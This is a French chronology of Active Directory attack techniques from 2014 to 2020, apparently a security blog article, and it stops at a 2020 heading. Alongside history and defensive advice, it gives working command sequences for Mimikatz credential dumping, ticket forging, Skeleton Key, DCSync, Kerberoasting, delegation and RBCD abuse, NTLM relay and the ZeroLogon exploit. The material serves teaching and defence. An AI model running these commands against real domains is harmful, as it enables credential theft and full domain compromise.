Chronologie des Attaques Active Directory : 2014-2026

2014 — L'Ère Mimikatz : La Démocratisation de l'Extraction de Credentials

Le Phénomène Mimikatz

L'année 2014 marque un tournant décisif dans l'histoire de la sécurité Active Directory avec la montée en puissance de Mimikatz, l'outil développé par le chercheur français Benjamin Delpy (gentilkiwi). Bien que Mimikatz ait été initialement créé en 2011 comme un projet personnel pour explorer les mécanismes d'authentification Windows, c'est en 2014 que l'outil atteint une adoption massive dans la communauté offensive après sa publication open-source sur GitHub. Cet événement transforme radicalement le paysage des attaques AD en rendant accessible à tous des techniques d'extraction de credentials qui nécessitaient auparavant des connaissances approfondies en reverse engineering Windows.

Mimikatz exploite la manière dont Windows stocke les credentials en mémoire, particulièrement dans le processus LSASS (Local Security Authority Subsystem Service). Ce processus critique maintient en mémoire les hashes NTLM, les tickets Kerberos et parfois même les mots de passe en clair des utilisateurs authentifiés sur la machine. Avant Mimikatz, l'extraction de ces informations nécessitait des outils comme Windows Credential Editor (WCE) ou fgdump, qui étaient moins fiables et plus limités dans leurs capacités.

Techniques Principales : LSASS Dumping et Pass-the-Hash

La commande phare de Mimikatz en 2014 est sekurlsa::logonpasswords, qui extrait l'ensemble des credentials stockés en mémoire du processus LSASS. Cette commande unique permet de récupérer les noms d'utilisateurs, les domaines, les hashes NTLM, et dans de nombreux cas les mots de passe en clair grâce au fournisseur d'authentification WDigest qui, par défaut sur les systèmes antérieurs à Windows 8.1/2012 R2, stocke les mots de passe de manière réversible en mémoire.

# Élévation de privilèges dans Mimikatz
mimikatz # privilege::debug
Privilege '20' OK

# Extraction de tous les credentials en mémoire
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORPdmin
Domain            : CORP
Logon Server      : DC01
    msv :
     [00000003] Primary
     * Username : admin
     * Domain   : CORP
     * NTLM     : aad3b435b51404eeaad3b435b51404ee
     * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
    wdigest :
     * Username : admin
     * Domain   : CORP
     * Password : P@ssw0rd123!

L'attaque Pass-the-Hash (PtH) constitue la deuxième révolution apportée par Mimikatz en 2014. Cette technique permet à un attaquant d'utiliser directement le hash NTLM d'un utilisateur pour s'authentifier sur d'autres machines du réseau sans jamais connaître le mot de passe en clair. Le mouvement latéral devient ainsi trivial une fois qu'un premier hash administrateur local est capturé, car les environnements d'entreprise réutilisent fréquemment le même mot de passe administrateur local sur l'ensemble de leurs postes de travail.

# Pass-the-Hash avec Mimikatz
mimikatz # sekurlsa::pth /user:admin /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee

# Pass-the-Hash avec accès réseau complet
mimikatz # sekurlsa::pth /user:admin /domain:corp.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:cmd.exe

Outils Complémentaires de 2014

Au-delà de Mimikatz, plusieurs outils complètent l'arsenal offensif AD en 2014. Windows Credential Editor (WCE) d'Amplia Security permet l'extraction et l'injection de credentials NTLM. fgdump et pwdump extraient les hashes depuis la base SAM locale. Invoke-Mimikatz, la version PowerShell de Mimikatz développée par Joseph Bialek de Microsoft, permet l'exécution en mémoire sans toucher le disque, rendant la détection par antivirus considérablement plus difficile. L'outil CrackMapExec commence également à émerger comme framework de post-exploitation AD automatisant le Pass-the-Hash à grande échelle.

Références MITRE ATT&CK

T1003.001 OS Credential Dumping: LSASS Memory — Extraction des credentials depuis le processus LSASS via Mimikatz ou des techniques de dump mémoire.

T1550.002 Use Alternate Authentication Material: Pass the Hash — Utilisation des hashes NTLM pour l'authentification latérale sans connaître le mot de passe.

Réponse Défensive de Microsoft

Face à la menace croissante de Mimikatz, Microsoft annonce en 2014 plusieurs contre-mesures qui seront déployées progressivement. Credential Guard, basé sur la virtualisation (VBS - Virtualization Based Security), isole le processus LSASS dans un environnement protégé inaccessible même aux administrateurs locaux. Le groupe Protected Users est introduit pour empêcher la mise en cache des credentials des comptes sensibles. La clé de registre UseLogonCredential est modifiée par défaut pour désactiver WDigest sur Windows 8.1 et Server 2012 R2, empêchant le stockage des mots de passe en clair en mémoire. Ces mesures marquent le début de la réponse stratégique de Microsoft contre les attaques de credentials.

2015 — L'Âge d'Or de Kerberos : Golden Tickets, Silver Tickets et Skeleton Key

La Révolution des Golden Tickets

L'année 2015 est dominée par l'exploitation avancée du protocole Kerberos, le mécanisme d'authentification central d'Active Directory. La technique du Golden Ticket, popularisée par Benjamin Delpy dans Mimikatz, représente l'une des attaques les plus dévastatrices jamais conçues contre AD. Un Golden Ticket est un Ticket Granting Ticket (TGT) Kerberos forgé par un attaquant qui a compromis le hash du compte krbtgt, le compte de service Kerberos du domaine. Ce TGT forgé accorde un accès illimité et pratiquement indétectable à l'ensemble des ressources du domaine, avec une durée de validité de 10 ans par défaut.

La puissance du Golden Ticket réside dans le fait qu'il est généré entièrement hors-ligne, sans aucune interaction avec le contrôleur de domaine au moment de sa création. L'attaquant n'a besoin que de quatre éléments : le hash NTLM du compte krbtgt, le SID du domaine, le nom du domaine et le nom d'utilisateur à usurper. Une fois ces informations obtenues — typiquement via une attaque DCSync ou un dump de la base NTDS.dit — l'attaquant peut générer des tickets valides pour n'importe quel utilisateur, y compris des comptes inexistants avec des privilèges arbitraires.

# Génération d'un Golden Ticket avec Mimikatz
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:aad3b435b51404eeaad3b435b51404ee /id:500 /groups:512,513,518,519,520 /ptt

# Vérification du ticket injecté
mimikatz # kerberos::list

# Accès aux ressources avec le Golden Ticket
dir \DC01\C$
psexec.exe \DC01 cmd.exe

Silver Tickets : Ciblage de Services Spécifiques

Le Silver Ticket constitue une variante plus ciblée du Golden Ticket. Au lieu de forger un TGT avec le hash krbtgt, l'attaquant crée un Ticket de Service (TGS) en utilisant le hash du compte de service associé à un SPN (Service Principal Name) spécifique. Cette technique est plus discrète car elle ne nécessite aucune communication avec le contrôleur de domaine — le ticket est présenté directement au service cible. L'absence de validation par le KDC rend les Silver Tickets particulièrement difficiles à détecter par les solutions de sécurité traditionnelles.

# Génération d'un Silver Ticket pour le service CIFS (partages de fichiers)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:server.corp.local /service:cifs /rc4:aad3b435b51404eeaad3b435b51404ee /ptt

# Silver Ticket pour le service LDAP (accès à l'annuaire)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:dc01.corp.local /service:ldap /rc4:aad3b435b51404eeaad3b435b51404ee /ptt

# Silver Ticket pour le service HTTP (applications web)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:web.corp.local /service:http /rc4:aad3b435b51404eeaad3b435b51404ee /ptt

Skeleton Key : La Porte Dérobée Kerberos

L'attaque Skeleton Key (clé squelette) représente une technique de persistance particulièrement insidieuse découverte et popularisée en 2015. Cette attaque consiste à patcher en mémoire le processus LSASS du contrôleur de domaine pour installer une clé maîtresse (skeleton key) qui permet l'authentification avec un mot de passe universel (par défaut « mimikatz ») pour n'importe quel compte du domaine, tout en maintenant les mots de passe légitimes fonctionnels. L'attaque nécessite un accès administrateur au contrôleur de domaine et doit être réappliquée après chaque redémarrage du DC car elle opère uniquement en mémoire.

# Installation d'une Skeleton Key sur le contrôleur de domaine
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Authentification avec la skeleton key (mot de passe universel)
net use \DC01\C$ /user:CORPnyuser mimikatz
runas /user:CORP\Administrator /netonly cmd.exe
# Mot de passe: mimikatz

Overpass-the-Hash et MS14-068

La technique Overpass-the-Hash (aussi appelée Pass-the-Key) combine le concept de Pass-the-Hash avec le protocole Kerberos. Au lieu d'utiliser un hash NTLM pour l'authentification NTLM classique, l'attaquant utilise ce hash pour demander un véritable ticket Kerberos TGT au KDC. Cette approche est plus furtive car elle génère du trafic Kerberos légitime plutôt que du trafic NTLM, qui est plus susceptible d'être surveillé et alerté.

L'exploit MS14-068 (CVE-2014-6324) mérite une mention spéciale bien qu'il ait été découvert fin 2014, car ses exploitations en production se sont intensifiées en 2015. Cette vulnérabilité critique dans l'implémentation Kerberos de Windows permet à un utilisateur de domaine standard de forger un PAC (Privilege Attribute Certificate) avec des privilèges Domain Admin, escaladant ainsi ses droits de manière spectaculaire. L'exploit est trivial à exécuter avec l'outil PyKEK (Python Kerberos Exploitation Kit) et ne nécessite qu'un compte de domaine valide avec son mot de passe.

Références MITRE ATT&CK

T1558.001 Steal or Forge Kerberos Tickets: Golden Ticket — Forgerie de TGT avec le hash krbtgt pour un accès illimité au domaine.

T1558.002 Steal or Forge Kerberos Tickets: Silver Ticket — Forgerie de TGS avec le hash du compte de service pour accéder à un service spécifique.

Contre-mesures et Détection

La détection des Golden et Silver Tickets en 2015 repose principalement sur la surveillance des journaux d'événements Kerberos. Les Event ID 4769 (demande de ticket de service) et Event ID 4768 (demande de TGT) doivent être surveillés pour identifier les anomalies telles que des durées de vie de tickets inhabituelles, des SID incohérents ou des noms d'utilisateurs inexistants. Microsoft recommande la rotation régulière du mot de passe krbtgt (au minimum deux fois consécutives pour invalider à la fois le hash actuel et le précédent) comme mesure de remédiation après une compromission suspectée. Pour plus de détails sur ces techniques, consultez notre article dédié sur le forging de tickets Kerberos.

2016 — DCSync et la Réplication Malveillante : Extraire les Secrets du Domaine

L'Attaque DCSync : Simuler un Contrôleur de Domaine

L'année 2016 est marquée par la maturation de l'attaque DCSync, une technique révolutionnaire qui permet à un attaquant disposant des bons privilèges de simuler le comportement d'un contrôleur de domaine pour demander la réplication des credentials de n'importe quel compte AD, y compris le compte krbtgt. Intégrée dans Mimikatz par Benjamin Delpy avec la collaboration de Vincent Le Toux, la commande lsadump::dcsync exploite le protocole de réplication MS-DRSR (Microsoft Directory Replication Service Remote Protocol) pour extraire les hashes NTLM sans avoir besoin d'exécuter du code directement sur le contrôleur de domaine.

L'élégance de DCSync réside dans le fait qu'elle abuse d'une fonctionnalité légitime d'Active Directory : la réplication entre contrôleurs de domaine. Pour exécuter cette attaque, l'attaquant doit posséder les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All sur l'objet domaine. Ces droits sont naturellement attribués aux comptes Domain Admins, Enterprise Admins et aux comptes de contrôleurs de domaine, mais ils peuvent aussi avoir été délégués de manière inappropriée à d'autres comptes via des configurations ACL permissives.

# DCSync ciblé sur le compte krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync pour tous les utilisateurs du domaine
mimikatz # lsadump::dcsync /domain:corp.local /all /csv

# DCSync avec Impacket secretsdump.py (alternative Linux)
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local -just-dc-ntlm

# DCSync ciblé sur un utilisateur spécifique avec Impacket
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local -just-dc-user krbtgt

DCShadow : L'Injection Furtive dans Active Directory

Le concept de DCShadow est introduit en 2016 et sera présenté publiquement par Vincent Le Toux et Benjamin Delpy. Cette technique va encore plus loin que DCSync en permettant à un attaquant d'enregistrer temporairement une machine compromise comme un faux contrôleur de domaine (rogue DC) dans Active Directory. Une fois enregistrée, cette machine peut pousser des modifications arbitraires dans l'annuaire via le mécanisme de réplication, comme l'ajout de SID History, la modification d'ACL ou l'injection de backdoors dans les attributs d'objets AD. L'avantage majeur de DCShadow est que les modifications propagées par réplication apparaissent comme des changements légitimes provenant d'un DC autorisé, rendant la détection extrêmement difficile par les solutions SIEM traditionnelles.

L'Émergence de l'Écosystème PowerSploit

Parallèlement aux avancées de Mimikatz, l'année 2016 voit la maturation de l'écosystème PowerSploit et en particulier de PowerView, le module de reconnaissance AD développé par Will Schroeder (harmj0y). PowerView révolutionne l'énumération Active Directory en fournissant des cmdlets PowerShell puissants pour cartographier les relations de confiance, identifier les ACL permissives, trouver les comptes à privilèges et détecter les chemins d'escalade de privilèges. Ces outils posent les fondations de ce qui deviendra BloodHound l'année suivante.

Les modules PowerUp (élévation de privilèges locale), PowerView (reconnaissance AD) et Invoke-Mimikatz (exécution en mémoire de Mimikatz) forment un framework de post-exploitation complet entièrement basé sur PowerShell, permettant aux attaquants d'opérer sans déposer d'exécutables sur le disque. Cette approche « Living off the Land » exploite les outils légitimes du système d'exploitation, compliquant considérablement la détection par les solutions antivirus traditionnelles basées sur les signatures de fichiers.

Références MITRE ATT&CK

T1003.006 OS Credential Dumping: DCSync — Utilisation du protocole de réplication AD pour extraire les credentials depuis un contrôleur de domaine distant.

Défenses et Détection

La défense contre DCSync repose sur plusieurs axes complémentaires. Le monitoring du trafic de réplication AD est essentiel : toute demande de réplication provenant d'une machine qui n'est pas un contrôleur de domaine légitime doit déclencher une alerte. L'audit des droits DS-Replication-Get-Changes-All doit être effectué régulièrement pour s'assurer que seuls les comptes légitimes possèdent ces privilèges. La surveillance de l'Event ID 4662 avec les propriétés de contrôle d'accès liées à la réplication (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 et 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) permet de détecter les tentatives de DCSync. Enfin, l'implémentation de la journalisation avancée du trafic réseau au niveau des contrôleurs de domaine aide à identifier les sources anormales de demandes de réplication RPC.

2017 — BloodHound et l'Analyse de Graphe : La Révolution de la Reconnaissance AD

Kerberoasting : L'Attaque Silencieuse des Comptes de Service

L'année 2017 commence avec la montée en puissance du Kerberoasting, une technique présentée par Tim Medin lors de DerbyCon. Le principe est d'une simplicité redoutable : tout utilisateur authentifié du domaine peut demander un ticket de service Kerberos (TGS) pour n'importe quel compte disposant d'un SPN (Service Principal Name). Le ticket retourné est chiffré avec le hash NTLM du compte de service, ce qui permet à l'attaquant de le soumettre à un crackage hors-ligne sans aucune interaction supplémentaire avec le contrôleur de domaine et sans générer d'échec d'authentification détectable.

La dangerosité du Kerberoasting vient du fait que les comptes de service AD sont souvent configurés avec des mots de passe faibles ou jamais changés, parfois définis lors du déploiement initial de l'infrastructure il y a des années. De plus, ces comptes possèdent fréquemment des privilèges élevés (administrateur de base de données, administrateur de serveur d'applications, etc.), rendant leur compromission particulièrement impactante. L'attaque est considérée comme « légitime » du point de vue de Kerberos car elle utilise les mécanismes standard du protocole, ce qui la rend très difficile à détecter sans une surveillance spécifique.

# Kerberoasting avec Invoke-Kerberoast (PowerShell)
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | fl

# Kerberoasting avec Rubeus
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Kerberoasting avec Impacket (Linux)
GetUserSPNs.py corp.local/user:P@ssw0rd -dc-ip 10.0.0.1 -request -outputfile kerberoast.txt

# Crackage des hashes avec Hashcat
hashcat -m 13100 kerberoast.txt wordlist.txt -r rules/best64.rule

AS-REP Roasting : Cibler les Comptes sans Pré-authentification

Le AS-REP Roasting exploite les comptes AD configurés avec l'option « Do not require Kerberos preauthentication » (UF_DONT_REQUIRE_PREAUTH). Pour ces comptes, un attaquant peut demander un AS-REP (Authentication Service Response) au KDC sans fournir de preuve d'identité. La réponse contient une partie chiffrée avec le hash du compte cible, qui peut être craquée hors-ligne de manière similaire au Kerberoasting. Bien que moins fréquemment exploitable car cette option est rarement activée, certains environnements hérités ou certaines applications nécessitent cette configuration, créant des opportunités pour les attaquants.

# AS-REP Roasting avec Impacket
GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip 10.0.0.1

# AS-REP Roasting avec Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Crackage avec Hashcat (mode 18200 pour AS-REP)
hashcat -m 18200 asrep.txt wordlist.txt -r rules/best64.rule

BloodHound : L'Analyse de Graphe Révolutionne l'Offensive AD

L'événement le plus transformateur de 2017 est sans conteste la sortie de BloodHound 1.0 par l'équipe de SpecterOps (Andrew Robbins, Rohan Vazarkar et Will Schroeder). BloodHound révolutionne l'approche de la sécurité AD en modélisant le domaine comme un graphe mathématique où les nœuds représentent les objets AD (utilisateurs, groupes, ordinateurs, GPO) et les arêtes représentent les relations entre eux (appartenance à un groupe, droits d'administration locale, sessions actives, ACL, etc.).

En utilisant des algorithmes de parcours de graphe (notamment l'algorithme du plus court chemin de Dijkstra), BloodHound identifie automatiquement les chemins d'attaque depuis n'importe quel point de compromission initial jusqu'aux objectifs de haute valeur (Domain Admins, Enterprise Admins, contrôleurs de domaine). Cette approche algorithmique permet de découvrir des chemins d'escalade de privilèges complexes impliquant de multiples sauts qui seraient impossibles à identifier manuellement dans un environnement de grande taille. La collecte des données est assurée par SharpHound, le collecteur officiel qui interroge l'annuaire AD, les sessions réseau et les droits d'administration locale de manière efficace et relativement discrète.

Pour une analyse approfondie des techniques de Kerberoasting et AS-REP Roasting, consultez notre article dédié : Kerberoasting et AS-REP Roasting en environnement Active Directory.

Références MITRE ATT&CK

T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting — Demande de tickets de service pour cracker hors-ligne les mots de passe des comptes de service.

T1558.004 Steal or Forge Kerberos Tickets: AS-REP Roasting — Exploitation des comptes sans pré-authentification Kerberos pour le crackage hors-ligne.

Impact et Contre-mesures

La combinaison de Kerberoasting, AS-REP Roasting et BloodHound en 2017 représente un changement de paradigme dans l'offensive AD. Les défenses recommandées incluent : l'utilisation de Group Managed Service Accounts (gMSA) qui génèrent automatiquement des mots de passe de 240 caractères et les changent tous les 30 jours, l'activation du chiffrement AES256 pour Kerberos en désactivant RC4, la surveillance des demandes massives de tickets de service (Event ID 4769 avec le type de chiffrement 0x17 pour RC4), et l'exécution régulière de BloodHound par les équipes défensives pour identifier et corriger les chemins d'attaque avant qu'ils ne soient exploités.

2018 — Rubeus et les Délégations : L'Exploitation Avancée de Kerberos

Rubeus : Le Couteau Suisse Kerberos en C#

L'année 2018 voit la publication de Rubeus par Will Schroeder (harmj0y) dans le cadre du projet GhostPack. Rubeus est un outil C# complet dédié à l'interaction avec le protocole Kerberos, offrant des capacités de manipulation de tickets considérablement plus avancées que celles disponibles dans Mimikatz. Son architecture en C# permet une exécution in-memory via des techniques comme execute-assembly dans les frameworks C2 (Cobalt Strike, Covenant), évitant ainsi l'écriture sur disque et les détections par signature. Rubeus offre des fonctionnalités de monitoring de tickets en temps réel, de roasting, de forging, et de manipulation S4U (Service for User) qui deviennent rapidement indispensables dans l'arsenal de tout red teamer.

Unconstrained Delegation : L'Héritage Dangereux

Les attaques de délégation Kerberos non contrainte (Unconstrained Delegation) prennent une nouvelle dimension en 2018. Lorsqu'un serveur est configuré avec la délégation non contrainte (attribut TrustedForDelegation), il stocke en mémoire le TGT complet de chaque utilisateur qui s'authentifie auprès de lui. Un attaquant contrôlant un tel serveur peut extraire ces TGT et les réutiliser pour usurper l'identité de n'importe quel utilisateur ayant accédé au service, y compris des administrateurs de domaine. Cette vulnérabilité architecturale, héritée des premières versions d'AD, reste présente dans de nombreux environnements en 2018.

Le PrinterBug (SpoolService) : Forcer l'Authentification

La découverte du PrinterBug par Lee Christensen transforme l'exploitation de la délégation non contrainte d'une attaque passive en une attaque active. Le PrinterBug exploite le service Print Spooler (MS-RPRN) pour forcer n'importe quelle machine Windows, y compris les contrôleurs de domaine, à s'authentifier vers un serveur contrôlé par l'attaquant. Combiné avec un serveur configuré en délégation non contrainte, cette technique permet de capturer le TGT du compte machine du contrôleur de domaine, menant à une compromission complète du domaine.

# Identifier les serveurs en délégation non contrainte
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

# Monitoring des TGT avec Rubeus sur un serveur en délégation non contrainte
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

# Exploitation du PrinterBug pour forcer l'authentification du DC
SpoolSample.exe DC01.corp.local ATTACKER-SRV.corp.local

# Injection du TGT capturé
Rubeus.exe ptt /ticket:doIFxjCCBcKgA...

Constrained Delegation et S4U

La délégation contrainte (Constrained Delegation) est censée être plus sécurisée car elle limite les services auxquels un compte peut déléguer via la liste msDS-AllowedToDelegateTo. Cependant, les extensions S4U (Service for User) de Kerberos — S4U2Self et S4U2Proxy — offrent des vecteurs d'exploitation subtils. S4U2Self permet à un service d'obtenir un ticket au nom de n'importe quel utilisateur vers lui-même, tandis que S4U2Proxy permet de transférer ce ticket vers un service autorisé dans la liste de délégation. En combinant ces deux extensions, un attaquant contrôlant un compte configuré en délégation contrainte peut usurper l'identité de n'importe quel utilisateur pour accéder aux services listés dans la configuration de délégation.

# Exploitation de la délégation contrainte avec Rubeus
Rubeus.exe s4u /user:svc_sql /rc4:aad3b435b51404eeaad3b435b51404ee /impersonateuser:administrator /msdsspn:cifs/fileserver.corp.local /ptt

# S4U avec Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate administrator corp.local/svc_sql:P@ssw0rd -dc-ip 10.0.0.1

# Identifier les comptes en délégation contrainte
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | Select Name, msDS-AllowedToDelegateTo

# Alternative avec le SPN alternatif (contournement de la liste)
Rubeus.exe s4u /user:svc_sql /rc4:hash /impersonateuser:administrator /msdsspn:cifs/fileserver.corp.local /altservice:ldap /ptt

Références MITRE ATT&CK

T1134 Access Token Manipulation — Manipulation des tokens d'accès et des mécanismes de délégation Kerberos pour l'usurpation d'identité.

Défenses Recommandées

La protection contre les attaques de délégation en 2018 passe par l'élimination systématique de la délégation non contrainte sur tous les serveurs non-DC (utiliser PowerShell : Get-ADComputer -Filter {TrustedForDelegation -eq $true}), la migration vers la délégation contrainte basée sur les ressources (RBCD) quand possible, la surveillance des demandes de tickets TGT inhabituelles (Event ID 4768) et la désactivation du service Print Spooler sur les contrôleurs de domaine pour neutraliser le PrinterBug. L'ajout des comptes sensibles au groupe Protected Users empêche leur délégation, offrant une protection supplémentaire pour les comptes administratifs critiques.

2019 — RBCD et les Relais NTLM : L'Exploitation des Relations de Confiance

Resource-Based Constrained Delegation (RBCD)

L'année 2019 est dominée par l'émergence de la Resource-Based Constrained Delegation (RBCD) comme vecteur d'attaque majeur. Contrairement à la délégation contrainte traditionnelle qui est configurée sur le compte effectuant la délégation (attribut msDS-AllowedToDelegateTo), la RBCD est configurée sur la ressource cible via l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity. Cette distinction architecturale a des implications de sécurité considérables : tout utilisateur ayant le droit d'écriture sur cet attribut d'un objet machine peut configurer la RBCD, et par conséquent usurper l'identité de n'importe quel utilisateur pour accéder à cette machine.

L'exploitation de la RBCD suit un scénario en trois étapes. Premièrement, l'attaquant crée un compte machine dans le domaine (droit accordé par défaut à tout utilisateur de domaine, limité à ms-DS-MachineAccountQuota, valeur par défaut de 10). Deuxièmement, il modifie l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity de la machine cible pour autoriser la délégation depuis le compte machine nouvellement créé. Troisièmement, il utilise les extensions S4U pour obtenir un ticket de service au nom d'un administrateur vers la machine cible. Les travaux d'Elad Shamir sur les attaques de délégation ont été fondamentaux pour la compréhension et l'exploitation de ces vecteurs en 2019.

# Étape 1 : Créer un compte machine (Impacket)
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'Password1' -dc-ip 10.0.0.1 corp.local/user:pass

# Étape 2 : Configurer la RBCD sur la cible
rbcd.py -delegate-from 'FAKEPC$' -delegate-to 'TARGET$' -action write corp.local/user:pass -dc-ip 10.0.0.1

# Étape 3 : Obtenir un ticket de service via S4U
getST.py -spn cifs/target.corp.local -impersonate administrator corp.local/'FAKEPC$':'Password1' -dc-ip 10.0.0.1

# Étape 4 : Utiliser le ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass target.corp.local

PrinterBug et SpoolSample

L'exploitation du PrinterBug se perfectionne en 2019 avec l'outil SpoolSample. Cette technique force une machine cible à s'authentifier vers une machine contrôlée par l'attaquant en abusant de l'interface MS-RPRN (Print System Remote Protocol). Le service Print Spooler, activé par défaut sur toutes les machines Windows y compris les contrôleurs de domaine, accepte les demandes de notification de changement d'impression et répond en s'authentifiant vers l'adresse spécifiée. Combiné avec un relai NTLM vers LDAP ou avec la capture de TGT sur un serveur en délégation non contrainte, le PrinterBug devient un déclencheur d'authentification universellement applicable dans les domaines AD.

PrivExchange : L'Abus d'Exchange pour la Compromission du Domaine

La technique PrivExchange, publiée par Dirk-jan Mollema, exploite une configuration par défaut dangereuse des serveurs Microsoft Exchange. Les serveurs Exchange disposent historiquement du droit WriteDACL sur l'objet domaine, ce qui leur permet de modifier les ACL au niveau du domaine. En combinant cette permission excessive avec un relai NTLM (l'attaquant force le serveur Exchange à s'authentifier vers son serveur de relai via une notification push de souscription EWS, puis relaie cette authentification vers LDAP pour modifier les ACL du domaine), l'attaquant peut s'accorder le droit DCSync et extraire tous les credentials du domaine. Cette chaîne d'attaque illustre parfaitement comment l'abus de privilèges inter-applications peut mener à une compromission totale.

NTLM Relay vers LDAP

Les techniques de relai NTLM vers LDAP se perfectionnent considérablement en 2019. L'outil ntlmrelayx.py d'Impacket intègre des capacités avancées de relai vers LDAP/LDAPS permettant la modification d'objets AD, la configuration de RBCD, l'ajout de comptes machine et la modification d'ACL. La condition critique pour le relai NTLM vers LDAP est l'absence de signature LDAP obligatoire et de channel binding, configurations malheureusement permissives par défaut dans de nombreux environnements. Le relai vers LDAPS offre des possibilités supplémentaires car le chiffrement TLS empêche les solutions de détection réseau d'inspecter le contenu des requêtes relayées.

# Relai NTLM vers LDAP avec configuration RBCD automatique
ntlmrelayx.py -t ldap://dc01.corp.local --delegate-access --escalate-user attacker

# PrivExchange : forcer l'authentification d'Exchange
python privexchange.py -ah attacker.corp.local exchange.corp.local -u user -p pass -d corp.local

# Relai vers LDAP avec ajout d'un compte machine
ntlmrelayx.py -t ldaps://dc01.corp.local --add-computer FAKEPC Password1

Références MITRE ATT&CK

T1187 Forced Authentication — Forcer une machine cible à s'authentifier vers un serveur contrôlé pour capturer ou relayer des credentials.

Défenses 2019

Les contre-mesures pour 2019 incluent : réduire le ms-DS-MachineAccountQuota à 0 pour empêcher les utilisateurs standard de créer des comptes machine, activer la signature LDAP obligatoire et le LDAP channel binding, désactiver le service Print Spooler sur les contrôleurs de domaine et serveurs critiques, auditer et corriger les permissions Exchange sur l'objet domaine, et implémenter la protection étendue pour l'authentification (EPA) sur tous les services web internes. Pour un guide complet sur le pentest AD incluant ces techniques, consultez notre guide complet de pentest Active Directory.

2020 — ZeroLogon, le Séisme : Compromission Totale Sans Authentification

CVE-2020-1472 : ZeroLogon

L'année 2020 est marquée par la découverte de ZeroLogon (CVE-2020-1472), considérée unanimement comme l'une des vulnérabilités les plus critiques jamais identifiées dans Active Directory. Découverte par Tom Tervoort de la société néerlandaise Secura, ZeroLogon exploite une faille cryptographique fondamentale dans l'implémentation du protocole Netlogon Remote Protocol (MS-NRPC) utilisé pour l'authentification des machines avec les contrôleurs de domaine. Avec un score CVSS de 10.0 sur 10.0, cette vulnérabilité permet à un attaquant non authentifié, situé sur le même réseau que le contrôleur de domaine, de compromettre entièrement le domaine AD en moins de trois secondes.

Le mécanisme de la vulnérabilité repose sur l'utilisation incorrecte du mode AES-CFB8 dans le chiffrement des échanges Netlogon. L'implémentation Microsoft initialise le vecteur d'initialisation (IV) avec 16 octets à zéro au lieu d'utiliser un IV aléatoire. Cette erreur cryptographique signifie qu'un texte en clair composé uniquement de zéros produira un texte chiffré également composé de zéros avec une probabilité de 1 sur 256. En envoyant jusqu'à 256 tentatives d'authentification avec un challenge composé de zéros, l'attaquant trouvera statistiquement une tentative qui passe la vérification, lui permettant d'établir une session authentifiée avec le contrôleur de domaine. Une fois cette session établie, l'attaquant peut utiliser la fonction NetrServerPasswordSet2 pour réinitialiser le mot de passe du compte machine du contrôleur de domaine à une chaîne vide.

# Test de vulnérabilité ZeroLogon (ne modifie pas le mot de passe)
python3 zerologon_tester.py DC01 172.16.0.1

# Exploitation ZeroLogon - réinitialise le mot de passe DC à vide
python3 cve-2020-1472-exploit.py DC01 172.16.0.1

# Extraction des hashes avec le compte DC compromis (mot de passe vide)
secretsdump.py -just-dc -no-pass 'CORP/DC01$@172.16.0.1'

# Restauration du mot de passe original (CRITIQUE - à faire immédiatement)
secretsdump.py -just-dc corp.local/administrator:P@ssw0rd@dc01.corp.local
reinstall_original_pw.py DC01 172.16.0.1 original_hex_password

Impact Opérationnel et Réponse de la Communauté

L'impact de ZeroLogon est sans précédent dans l'histoire de la sécurité AD. En quelques heures après la publication du PoC (Proof of Concept), les équipes CERT du monde entier lancent des alertes de niveau critique. La CISA (Cybersecurity and Infrastructure Security Agency) américaine publie la directive d'urgence 20-04 ordonnant à toutes les agences fédérales d'appliquer le correctif dans les 72 heures. Les groupes de ransomware intègrent rapidement l'exploit dans leurs chaînes d'attaque, avec des cas documentés d'exploitation active dans la nature dès octobre 2020. Microsoft déploie le correctif en deux phases : une première phase en août 2020 qui protège les contrôleurs de domaine, et une seconde phase en février 2021 qui impose le mode sécurisé Netlogon pour tous les clients.

Début de la Recherche ADCS

Parallèlement à ZeroLogon, l'année 2020 voit le début des recherches approfondies sur les vulnérabilités d'Active Directory Certificate Services (ADCS) par Will Schroeder et Lee Christensen de SpecterOps. Ces recherches préliminaires, qui culmineront avec la publication du whitepaper « Certified Pre-Owned » en 2021, identifient déjà plusieurs configurations dangereuses dans les déploiements ADCS d'entreprise. Les services de certificats, souvent déployés et oubliés par les administrateurs, commencent à être reconnus comme une surface d'attaque critique largement sous-estimée.

L'Impact de la Pandémie COVID-19 sur la Surface d'Attaque AD

